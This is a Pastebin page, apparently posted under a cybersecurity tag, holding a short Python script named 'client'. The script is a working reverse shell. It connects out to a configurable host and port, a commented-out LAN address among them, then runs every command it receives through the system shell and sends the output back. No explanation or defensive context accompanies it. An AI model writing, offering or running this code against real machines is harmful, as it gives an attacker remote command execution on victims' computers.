Advertisement
FlyFar

client

Feb 14th, 2023
670
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.60 KB | Cybersecurity | 0 0
  1. import socket
  2. import subprocess
  3.  
  4. REMOTE_HOST = '127.0.0.1' # '192.168.43.82'
  5. REMOTE_PORT = 8081 # 2222
  6. client = socket.socket()
  7. print("[-] Connection Initiating...")
  8. client.connect((REMOTE_HOST, REMOTE_PORT))
  9. print("[-] Connection initiated!")
  10.  
  11. while True:
  12.     print("[-] Awaiting commands...")
  13.     command = client.recv(1024)
  14.     command = command.decode()
  15.     op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
  16.     output = op.stdout.read()
  17.     output_error = op.stderr.read()
  18.     print("[-] Sending response...")
  19.     client.send(output + output_error)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement